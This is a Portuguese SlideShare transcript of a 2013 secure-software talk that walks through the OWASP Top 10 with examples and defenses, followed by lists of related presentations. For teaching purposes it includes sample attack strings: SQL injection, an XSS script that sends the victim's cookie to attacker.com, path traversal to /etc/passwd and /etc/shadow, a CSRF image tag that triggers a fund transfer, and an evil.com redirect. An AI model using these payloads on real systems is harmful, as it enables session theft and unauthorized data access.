SlideShare uma empresa Scribd logo
Augusto Lüdtke
20/maio/2013
 Por que software seguro?
 Conceitos básicos
 Princípios de segurança
 OWASPTop 10
 Esta apresentação não é sobre a HP
 A HP não é responsável pelas opiniões apresentadas aqui
Desenvolvimento de Software Seguro
Network
Application
Database Server
Web Server
Application Server
Operating System
Fonte de 95% das vulnerabilidades
(Software Security Testing: Let’s Get Back to Basics)
Alvo de 75% dos ataques
(Now Is the Time for Security at the Application Level)
Explosão no número de vulnerabilidades
* National Vulnerabilty Database
A vantagem de corrigir cedo
Desenvolvimento de Software Seguro
 CIA
 Confidencialidade
 Integridade
 Disponibilidade (Availability)
 AAA
 Autenticação
 Autorização
 Auditoria
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
 OWASP
▪ Open Web Application Security Project (Projeto Aberto de Segurança de Aplicações
Web)
▪ Organização internacional
▪ Sem fins lucrativos
▪ Contribui para a melhoria da segurança de software
 OWASPTop 10
 Conscientização sobre segurança de aplicações, identificando alguns dos
maiores riscos que as organizações enfrentam.
Versão 2010: risco x prevalência
 A1: Injection
 A2: Cross-Site Scripting (XSS)
 A3: Broken Authentication and Session Management
 A4: Insecure Direct Object References
 A5: Cross-Site Request Forgery (CSRF)
 A6: Security Misconfiguration
 A7: Insecure Cryptographic Storage
 A8: Failure to Restrict URLAccess
 A9: InsufficientTransport Layer Protection
 A10: Unvalidated Redirects and Forwards
A1: Injection
 Visão geral
▪ Dados não confiáveis enviados para um interpretador como parte de um
comando/consulta
▪ Interpretador executa um comando malicioso
▪ Interpretadores:
▪ Bancos de dados
▪ Servidores LDAP
▪ Shell
 Vulnerabilidades associadas
▪ CWE-77: Improper Neutralization of Special Elements used in a Command
('Command Injection')
▪ CWE-89: Improper Neutralization of Special Elements used in an SQL Command
('SQL Injection')
A1: Injection
 Exemplo
 A aplicação usa dados não-confiáveis na construção da consulta SQL:
String query = "SELECT * FROM accounts
WHERE custID='" + request.getParameter("id") +"'";
 O atacante modifica o parâmetro ‘id’ no browser para enviar ' or '1'='1:
http://example.com/app/accountView?id=' or '1'='1
 E a consulta executada é:
SELECT * FROM accounts WHERE custID='' or '1'='1'
A1: Injection
 Exemplos reais de SQL injection
 Microsoft UK (junho/2007)
▪ Defacement
 Nações Unidas (agosto/2007)
▪ Defacement
A1: Injection
 Exemplos reais de SQL injection
 Sony Pictures (junho/2011)
▪ Milhares de contas (1M x 37K)
▪ Nomes
▪ Senhas
▪ Endereços de e-mail
▪ Endereços residenciais
▪ Datas de nascimento
 Yahoo!Voices (julho/2012)
▪ Mais de 400K contas
▪ Usernames
▪ Senhas não criptografadas
A1: Injection
 Prevenção
 Consultas parametrizadas: os dados são separados dos comandos
String custname = request.getParameter("customerName");
String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, custname);
ResultSet results = pstmt.executeQuery();
A2: Cross Site Scripting (XSS)
 Visão geral
▪ Dados não-confiáveis são enviados para a aplicação (por URLs e formulários, por
exemplo)
▪ Aplicação repassa dados para o browser da vítima
▪ Browser da vítima executa os comandos
 Vulnerabilidades associadas
▪ CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site
Scripting')
A2: Cross Site Scripting (XSS)
 Exemplo
 A aplicação usa dados não-confiáveis na construção de código HTML:
(String) page += “<input name='creditcard' type='TEXT' value='" +
request.getParameter("CC") + "'>";
 O atacante cria uma URL para esta página, modificando o parâmetro CC para:
‘><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>
 Ao processar a URL, o browser do usuário processa a página contendo o
JavaScript e o ID da sessão do usuário é enviado para o website do atacante.
A2: Cross Site Scripting (XSS)
 Exemplos reais
 barackobama.com (abril/2008)
▪ XSS na seção Community Blogs levava usuário para o site hillaryclinton.com
 votehillary.org (abril/2008)
▪ XSS permitia a inserção de um iframe com conteúdo do site de Obama
A2: Cross Site Scripting (XSS)
 Prevenção
▪ Encoding/escaping de dados na entrada e na saída
▪ Fazer com que <script> seja codificado como &lt;script&gt; (evitando a sua execução)
▪ Proteger cookies com o atributo HttpOnly
A3: Broken Authentication and Session Management
 Visão geral
▪ O atacante usa falhas nas funções de autenticação ou gerenciamento de sessão
para assumir a identidade do usuário.
▪ Alvos: contas, senhas e IDs de sessão
 Vulnerabilidades associadas
▪ CWE-287: Improper Authentication
A3: Broken Authentication and Session Management
 Exemplos
 Usuário autenticado informa os amigos sobre a passagem que comprou:
http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Ha
waii
 Mas acaba compartilhando sua ID de sessão (e seu cartão de crédito).
A3: Broken Authentication and Session Management
 Exemplos reais
 Timeout da aplicação não é definido apropriadamente:
A3: Broken Authentication and Session Management
 Exemplos reais
 Senhas não criptografadas no banco de dados:
▪ DreamHost (janeiro/2012)
▪ Billabong (julho/2012)
A3: Broken Authentication and Session Management
 Prevenção
▪ Adicione um timeout à sessão para reduzir a janela de oportunidade
▪ Use funções de hash e “salt” para armazenar senhas
▪ Transmita as credenciais somente sobre HTTPS
A4: Insecure Direct Object References
 Visão geral
▪ O atacante, que é um usuário autorizado do sistema, modifica o valor de um
parâmetro que aponta para um objeto do sistema (arquivo, registro, etc.)
▪ A aplicação não verifica as permissões necessárias e dá acesso indevido às
informações
 Vulnerabilidades associadas
▪ CWE-639: Authorization BypassThrough User-Controlled Key
▪ CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path
Traversal')
A4: Insecure Direct Object References
 Exemplo
 A aplicação usa dados não verificados numa consulta SQL acessando
informações da conta:
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query , ...);
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery();
 O atacante modifica o parâmetro ‘acct’ no browser para enviar o número da
conta que ele quiser:
http://example.com/app/accountInfo?acct=notmyacct
A4: Insecure Direct Object References
 Exemplo
 A aplicação abre arquivos que são determinados pelo usuário
http://some_site.com/../../../../etc/shadow
http://some_site.com/get-files?file=/etc/passwd
 Exemplos de path traversal em servidores web:
▪ Nginx (CVE-2009-3898)
▪ ApacheTomcat (CVE-2009-2902)
▪ IIS (CVE-2000-0884)
A4: Insecure Direct Object References
 Exemplos reais
 Dados de outros usuários acessados com pequenas mudanças na URL:
▪ Passport Canada (dezembro/2007)
▪ Citibank (junho/2011)
A4: Insecure Direct Object References
 Prevenção
▪ Verifique se o usuário tem permissão para acessar o objeto requerido
▪ Verifique se o caminho do arquivo requerido está dentro do “Document Root”
▪ Normalize/canonicalize a requisição antes de validá-la
▪ Transforme %2e%2e%5c em ..
A5: Cross-Site Request Forgery (CSRF)
 Visão geral
▪ Um atacante faz o browser da vítima enviar um comando para uma aplicação web
vulnerável
▪ Browser inclui automaticamente dados de autenticação do usuário
▪ Aplicação executa o comando em função da confiança que tem no usuário
 Vulnerabilidades associadas
▪ CWE-352: Cross-Site Request Forgery (CSRF)
A5: Cross-Site Request Forgery (CSRF)
 Exemplo
 Site do banco recebe requisições de transferência no seguinte formato:
http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
 Atacante monta uma requisição maliciosa e a insere numa tag de imagem ou
iframe:
<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
 Se o usuário estiver logado no banco e abrir a página maliciosa, o banco irá
transferir o dinheiro para o atacante.
A5: Cross-Site Request Forgery (CSRF)
 Exemplo reais
 Vulnerabilidades de CSRF permitiam:
▪ Apagar conteúdo (fotos, vídeos, apresentações, etc.)
▪ Postar comentários
▪ Seguir usuários/perfis
A5: Cross-Site Request Forgery (CSRF)
 Prevenção
▪ Incluir token não-previsível (synchronizer token) no corpo ou URL de cada requisição
HTTP
▪ Limitar o tempo de vida dos cookies de sessão
A6: Security Misconfiguration
 Visão geral
▪ É necessária uma configuração segura definida para a aplicação, frameworks,
servidores de aplicação, servidores web, bancos de dados e plataforma.
▪ Inclui configurações default e atualização de pacotes
 Vulnerabilidades associadas
▪ CWE-2: Environment
A6: Security Misconfiguration
 Exemplo real
 Locaweb (setembro/2010)
▪ Vulnerabilidade no kernel Linux (CVE-2010-3081)
▪ Mais de 25 mil sites atacados
▪ Troca de acusações entre Locaweb e Red Hat
A6: Security Misconfiguration
 Prevenção
▪ Defina um processo para manter o sistema (incluindo bibliotecas) atualizado com
todos updates e patches
▪ Desabilite serviços, portas, contas e privilégios desnecessários
▪ Modifique ou desabilite senhas default
A7: Insecure Cryptographic Storage
 Visão geral
 Muitas aplicações não protegem adequadamente dados sensíveis:
▪ Não criptografam os dados
▪ Usam algoritmos inadequados
▪ Não protegem as chaves criptográficas
 Vulnerabilidades associadas
▪ CWE-310: Cryptographic Issues
▪ CWE-312: Cleartext Storage of Sensitive Information
▪ CWE-326: Inadequate Encryption Strength
A7: Insecure Cryptographic Storage
 Exemplo real
 LinkedIn (junho/2012)
▪ Vazamento de 6,5 milhões de senhas criptografadas
▪ Senhas armazenadas como hashes SHA-1
▪ Não utilizavam “salt”
▪ Vulneráveis a um ataque com “rainbow tables”
A7: Insecure Cryptographic Storage
 Prevenção
▪ Identifique quais são os dados sensíveis
▪ Use as proteções adequadas
▪ Algoritmos seguros
▪ Criptografia do sistema de arquivos
▪ Criptografia de registros no banco de dados
▪ Funções de hash com “salt” para armazenar senhas
▪ Gerenciamento de chaves criptográficas
▪ Geração
▪ Armazenamento
A8: Failure to Restrict URL Access
 Visão geral
▪ O atacante, que é um usuário do sistema, altera a URL para apontar para uma
página privilegiada.
▪ A aplicação não verifica se aquele usuário tem permissão para acessar aquela
página
 Vulnerabilidades associadas
▪ CWE-285: Improper Authorization
A8: Failure to Restrict URL Access
 Exemplo real
 D-Link DSL-504T (CVE-2005-1827)
▪ Qualquer usuário obtinha acesso (sem autenticação) ao roteador através da URL
http://ipdoroteador/cgi-bin/firmwarecfg
▪ Com este acesso, o usuário podia
▪ Atualizar o firmware
▪ Reiniciar o roteador
▪ Restaurar uma configuração salva
A8: Failure to Restrict URL Access
 Prevenção
▪ Inclua controles de autenticação e autorização em cada página
▪ Use políticas de autenticação e autorização baseadas em papéis, para diminuir o
esforço de manutenção
▪ O mecanismo de autorização deve negar todos acessos por default, exigindo
permissões explícitas para cada página
A9: InsufficientTransport Layer Protection
 Visão geral
 Aplicações falham em autenticar, criptografar e proteger a confidencialidade
e integridade de tráfego de rede sensível.
 Vulnerabilidades associadas
▪ CWE-319: Cleartext Transmission of Sensitive Information
A9: InsufficientTransport Layer Protection
 Exemplo real
 MI-5 (abril/2012)
▪ Certificado SSL expirado
A9: InsufficientTransport Layer Protection
 Exemplo real
 Firesheep (outubro/2010)
▪ Intercepta cookies não criptografados de sites como Facebook e Twitter
A9: InsufficientTransport Layer Protection
 Prevenção
▪ Use SSL em todas páginas sensíveis. Redirecione requisições HTTP para as versões
HTTPS.
▪ Proteja os cookies com o atributo Secure
▪ Garanta que o seu certificado seja validado e aceito nos browsers dos clientes:
▪ Domínios
▪ Validade
▪ Autoridade certificadora (CA)
A10: Unvalidated Redirects and Forwards
 Visão geral
 A aplicação faz redirects (com HTTP 302, por exemplo) utilizando parâmetros
do usuário para de terminar o destino. Um atacante pode criar uma URL com
um domínio conhecido, mas que levará o usuário para uma página maliciosa.
 Vulnerabilidades associadas
▪ CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
A10: Unvalidated Redirects and Forwards
 Exemplo
 A aplicação tem uma página chamada “redirect.jsp”, que recebe um
parâmetro “url”. O atacante constrói uma URL que redireciona usuários para
um site malicioso que faz phishing e instala malwares:
http://www.example.com/redirect.jsp?url=evil.com
 Exemplo real
 Trac (CVE-2008-2951)
▪ Vulnerabilidade de open redirect no script de pesquisa permitia redirect através de
uma URL no parâmetro q.
A10: Unvalidated Redirects and Forwards
 Prevenção
▪ Não use redirects
▪ Se usar redirects, não envolva parâmetros do usuário para determinar o destino
▪ Se usar parâmetros, garanta que o valor seja válido e autorizado para o usuário
Desenvolvimento de Software Seguro
 Livros
 Sites
 www.owasp.org
 cwe.mitre.org
 Notícias
 nakedsecurity.sophos.com
 thehackernews.com
 www.forbes.com/sites/andygreenberg/
 www.h-online.com
 www.net-security.org
 www.securitybloggersnetwork.com
 @augusto_ludtke
Desenvolvimento de Software Seguro

Mais conteúdo relacionado

Mais procurados

Secure Coding - Web Application Security Vulnerabilities and Best Practices
Secure Coding - Web Application Security Vulnerabilities and Best PracticesSecure Coding - Web Application Security Vulnerabilities and Best Practices
Secure Coding - Web Application Security Vulnerabilities and Best Practices
Websecurify
 
Secure Software Development Lifecycle
Secure Software Development LifecycleSecure Software Development Lifecycle
Secure Software Development Lifecycle
1&1
 
Secure coding practices
Secure coding practicesSecure coding practices
Secure coding practices
Mohammed Danish Amber
 
Blaze Information Security: The cost of fixing security vulnerabilities in ea...
Blaze Information Security: The cost of fixing security vulnerabilities in ea...Blaze Information Security: The cost of fixing security vulnerabilities in ea...
Blaze Information Security: The cost of fixing security vulnerabilities in ea...
Blaze Information Security
 
Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...
Codemotion
 
Secure code
Secure codeSecure code
Secure code
ddeogun
 
Security Code Review 101
Security Code Review 101Security Code Review 101
Security Code Review 101
Paul Ionescu
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Brian Huff
 
ITIL versus COBIT - Um breve comparativo
ITIL versus COBIT - Um breve comparativoITIL versus COBIT - Um breve comparativo
ITIL versus COBIT - Um breve comparativo
mvitor
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
Abdul Wahid
 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020
Moataz Kamel
 
Security Training: #3 Threat Modelling - Practices and Tools
Security Training: #3 Threat Modelling - Practices and ToolsSecurity Training: #3 Threat Modelling - Practices and Tools
Security Training: #3 Threat Modelling - Practices and Tools
Yulian Slobodyan
 
8. Software Development Security
8. Software Development Security8. Software Development Security
8. Software Development Security
Sam Bowne
 
Cybersecurity for the non-technical
Cybersecurity for the non-technicalCybersecurity for the non-technical
Cybersecurity for the non-technical
Stephen Cobb
 
Aula 05 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 05 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 05 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 05 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Alcyon Ferreira de Souza Junior, MSc
 
OWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesOWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application Vulnerabilities
Software Guru
 
Secure SDLC Framework
Secure SDLC FrameworkSecure SDLC Framework
Secure SDLC Framework
Rishi Kant
 
Secure Coding and Threat Modeling
Secure Coding and Threat ModelingSecure Coding and Threat Modeling
Secure Coding and Threat Modeling
Miriam Celi, CISSP, GISP, MSCS, MBA
 
OWASP Top 10 2021 Presentation (Jul 2022)
OWASP Top 10 2021 Presentation (Jul 2022)OWASP Top 10 2021 Presentation (Jul 2022)
OWASP Top 10 2021 Presentation (Jul 2022)
TzahiArabov
 
Cybersecurity Awareness Training
Cybersecurity Awareness TrainingCybersecurity Awareness Training
Cybersecurity Awareness Training
Dave Monahan
 

Mais procurados (20)

Secure Coding - Web Application Security Vulnerabilities and Best Practices
Secure Coding - Web Application Security Vulnerabilities and Best PracticesSecure Coding - Web Application Security Vulnerabilities and Best Practices
Secure Coding - Web Application Security Vulnerabilities and Best Practices
 
Secure Software Development Lifecycle
Secure Software Development LifecycleSecure Software Development Lifecycle
Secure Software Development Lifecycle
 
Secure coding practices
Secure coding practicesSecure coding practices
Secure coding practices
 
Blaze Information Security: The cost of fixing security vulnerabilities in ea...
Blaze Information Security: The cost of fixing security vulnerabilities in ea...Blaze Information Security: The cost of fixing security vulnerabilities in ea...
Blaze Information Security: The cost of fixing security vulnerabilities in ea...
 
Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...
 
Secure code
Secure codeSecure code
Secure code
 
Security Code Review 101
Security Code Review 101Security Code Review 101
Security Code Review 101
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)
 
ITIL versus COBIT - Um breve comparativo
ITIL versus COBIT - Um breve comparativoITIL versus COBIT - Um breve comparativo
ITIL versus COBIT - Um breve comparativo
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020
 
Security Training: #3 Threat Modelling - Practices and Tools
Security Training: #3 Threat Modelling - Practices and ToolsSecurity Training: #3 Threat Modelling - Practices and Tools
Security Training: #3 Threat Modelling - Practices and Tools
 
8. Software Development Security
8. Software Development Security8. Software Development Security
8. Software Development Security
 
Cybersecurity for the non-technical
Cybersecurity for the non-technicalCybersecurity for the non-technical
Cybersecurity for the non-technical
 
Aula 05 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 05 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 05 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 05 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
 
OWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesOWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application Vulnerabilities
 
Secure SDLC Framework
Secure SDLC FrameworkSecure SDLC Framework
Secure SDLC Framework
 
Secure Coding and Threat Modeling
Secure Coding and Threat ModelingSecure Coding and Threat Modeling
Secure Coding and Threat Modeling
 
OWASP Top 10 2021 Presentation (Jul 2022)
OWASP Top 10 2021 Presentation (Jul 2022)OWASP Top 10 2021 Presentation (Jul 2022)
OWASP Top 10 2021 Presentation (Jul 2022)
 
Cybersecurity Awareness Training
Cybersecurity Awareness TrainingCybersecurity Awareness Training
Cybersecurity Awareness Training
 

Destaque

Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasTratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Magno Logan
 
Segurança nos ciclos de desenvolvimento de softwares
Segurança nos ciclos de desenvolvimento de softwaresSegurança nos ciclos de desenvolvimento de softwares
Segurança nos ciclos de desenvolvimento de softwares
Luiz Vieira .´. CISSP, OSCE, GXPN, CEH
 
O processo de segurança em desenvolvimento, que não é ISO 15.408
O processo de segurança em desenvolvimento, que não é ISO 15.408O processo de segurança em desenvolvimento, que não é ISO 15.408
O processo de segurança em desenvolvimento, que não é ISO 15.408
Conviso Application Security
 
Ameaças e Vulnerabilidade em Apps Web-2013
Ameaças e Vulnerabilidade em Apps Web-2013Ameaças e Vulnerabilidade em Apps Web-2013
Ameaças e Vulnerabilidade em Apps Web-2013
Kleitor Franklint Correa Araujo
 
OWASP_BSB_20120827_TOP10_ISMAELROCHA
OWASP_BSB_20120827_TOP10_ISMAELROCHAOWASP_BSB_20120827_TOP10_ISMAELROCHA
OWASP_BSB_20120827_TOP10_ISMAELROCHA
OWASP Brasília
 
Elicitação e Análise
Elicitação e AnáliseElicitação e Análise
Elicitação e Análise
Wilker Bueno de Freitas Rosa
 
Segurança de software na Administração Pública Federal
Segurança de software na Administração Pública FederalSegurança de software na Administração Pública Federal
Segurança de software na Administração Pública Federal
OWASP Brasília
 
Treinamento em levantamento de requisitos de segurança
Treinamento em levantamento de requisitos de segurançaTreinamento em levantamento de requisitos de segurança
Treinamento em levantamento de requisitos de segurança
Leivan Carvalho
 
Resumo de Técnicas de elicitação de requisitos
Resumo de Técnicas de elicitação de requisitosResumo de Técnicas de elicitação de requisitos
Resumo de Técnicas de elicitação de requisitos
Alaide Pitombeira de Freitas, CSM
 
Projetos Estruturados de Redes - Parte 1
Projetos Estruturados de Redes - Parte 1Projetos Estruturados de Redes - Parte 1
Projetos Estruturados de Redes - Parte 1
José Wagner Bungart
 
Implementando Segurança em desenvolvimento com a verdadeira ISO
Implementando Segurança em desenvolvimento com a verdadeira ISOImplementando Segurança em desenvolvimento com a verdadeira ISO
Implementando Segurança em desenvolvimento com a verdadeira ISO
Conviso Application Security
 
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)
Erick Belluci Tedeschi
 

Destaque (12)

Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasTratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
 
Segurança nos ciclos de desenvolvimento de softwares
Segurança nos ciclos de desenvolvimento de softwaresSegurança nos ciclos de desenvolvimento de softwares
Segurança nos ciclos de desenvolvimento de softwares
 
O processo de segurança em desenvolvimento, que não é ISO 15.408
O processo de segurança em desenvolvimento, que não é ISO 15.408O processo de segurança em desenvolvimento, que não é ISO 15.408
O processo de segurança em desenvolvimento, que não é ISO 15.408
 
Ameaças e Vulnerabilidade em Apps Web-2013
Ameaças e Vulnerabilidade em Apps Web-2013Ameaças e Vulnerabilidade em Apps Web-2013
Ameaças e Vulnerabilidade em Apps Web-2013
 
OWASP_BSB_20120827_TOP10_ISMAELROCHA
OWASP_BSB_20120827_TOP10_ISMAELROCHAOWASP_BSB_20120827_TOP10_ISMAELROCHA
OWASP_BSB_20120827_TOP10_ISMAELROCHA
 
Elicitação e Análise
Elicitação e AnáliseElicitação e Análise
Elicitação e Análise
 
Segurança de software na Administração Pública Federal
Segurança de software na Administração Pública FederalSegurança de software na Administração Pública Federal
Segurança de software na Administração Pública Federal
 
Treinamento em levantamento de requisitos de segurança
Treinamento em levantamento de requisitos de segurançaTreinamento em levantamento de requisitos de segurança
Treinamento em levantamento de requisitos de segurança
 
Resumo de Técnicas de elicitação de requisitos
Resumo de Técnicas de elicitação de requisitosResumo de Técnicas de elicitação de requisitos
Resumo de Técnicas de elicitação de requisitos
 
Projetos Estruturados de Redes - Parte 1
Projetos Estruturados de Redes - Parte 1Projetos Estruturados de Redes - Parte 1
Projetos Estruturados de Redes - Parte 1
 
Implementando Segurança em desenvolvimento com a verdadeira ISO
Implementando Segurança em desenvolvimento com a verdadeira ISOImplementando Segurança em desenvolvimento com a verdadeira ISO
Implementando Segurança em desenvolvimento com a verdadeira ISO
 
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)
 

Semelhante a Desenvolvimento de Software Seguro

Testes de segurança em aplicações web
Testes de segurança em aplicações webTestes de segurança em aplicações web
Testes de segurança em aplicações web
Synergia - Engenharia de Software e Sistemas
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Clavis Segurança da Informação
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10
CJR, UnB
 
OWASP Top 10 e aplicações .Net - Tech-Ed 2007
OWASP Top 10 e aplicações .Net - Tech-Ed 2007OWASP Top 10 e aplicações .Net - Tech-Ed 2007
OWASP Top 10 e aplicações .Net - Tech-Ed 2007
Conviso Application Security
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
Magno Logan
 
OWASP Top Ten
OWASP Top TenOWASP Top Ten
OWASP Top Ten
Giovani Decusati
 
CWI - Núcleo de tecnologia - OWASP Top Ten
CWI - Núcleo de tecnologia - OWASP Top TenCWI - Núcleo de tecnologia - OWASP Top Ten
CWI - Núcleo de tecnologia - OWASP Top Ten
POANETMeetup
 
OWASP TOP 10 - Web Security
OWASP TOP 10 - Web SecurityOWASP TOP 10 - Web Security
OWASP TOP 10 - Web Security
Marlon Bernardes
 
Ameacas e Vulnerabilidades em Apps Web-2013
Ameacas e Vulnerabilidades em Apps Web-2013Ameacas e Vulnerabilidades em Apps Web-2013
Ameacas e Vulnerabilidades em Apps Web-2013
Kleitor Franklint Correa Araujo
 
Sql injection
Sql injectionSql injection
Sql injection
Tiago Natel de Moura
 
Seguranca web Testday2012
Seguranca web Testday2012Seguranca web Testday2012
Seguranca web Testday2012
Marcio Cunha
 
Segurança em Aplicativos Web
Segurança em Aplicativos WebSegurança em Aplicativos Web
Segurança em Aplicativos Web
Sergio Henrique
 
Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019
Alcyon Ferreira de Souza Junior, MSc
 
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureGlobal Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Rubens Guimarães - MTAC MVP
 
Workshop - Testes de Segurança
Workshop - Testes de SegurançaWorkshop - Testes de Segurança
Workshop - Testes de Segurança
Alan Carlos
 
Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?
Alex Hübner
 
Segurança Web com PHP5
Segurança Web com PHP5Segurança Web com PHP5
Segurança Web com PHP5
Douglas V. Pasqua
 
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
Clavis Segurança da Informação
 
Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - MicrosoftDesenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
Rubens Guimarães - MTAC MVP
 
Tony\'s Top 10 Computer Forensics Artifacts
Tony\'s Top 10 Computer Forensics ArtifactsTony\'s Top 10 Computer Forensics Artifacts
Tony\'s Top 10 Computer Forensics Artifacts
tonyrodrigues
 

Semelhante a Desenvolvimento de Software Seguro (20)

Testes de segurança em aplicações web
Testes de segurança em aplicações webTestes de segurança em aplicações web
Testes de segurança em aplicações web
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10
 
OWASP Top 10 e aplicações .Net - Tech-Ed 2007
OWASP Top 10 e aplicações .Net - Tech-Ed 2007OWASP Top 10 e aplicações .Net - Tech-Ed 2007
OWASP Top 10 e aplicações .Net - Tech-Ed 2007
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
 
OWASP Top Ten
OWASP Top TenOWASP Top Ten
OWASP Top Ten
 
CWI - Núcleo de tecnologia - OWASP Top Ten
CWI - Núcleo de tecnologia - OWASP Top TenCWI - Núcleo de tecnologia - OWASP Top Ten
CWI - Núcleo de tecnologia - OWASP Top Ten
 
OWASP TOP 10 - Web Security
OWASP TOP 10 - Web SecurityOWASP TOP 10 - Web Security
OWASP TOP 10 - Web Security
 
Ameacas e Vulnerabilidades em Apps Web-2013
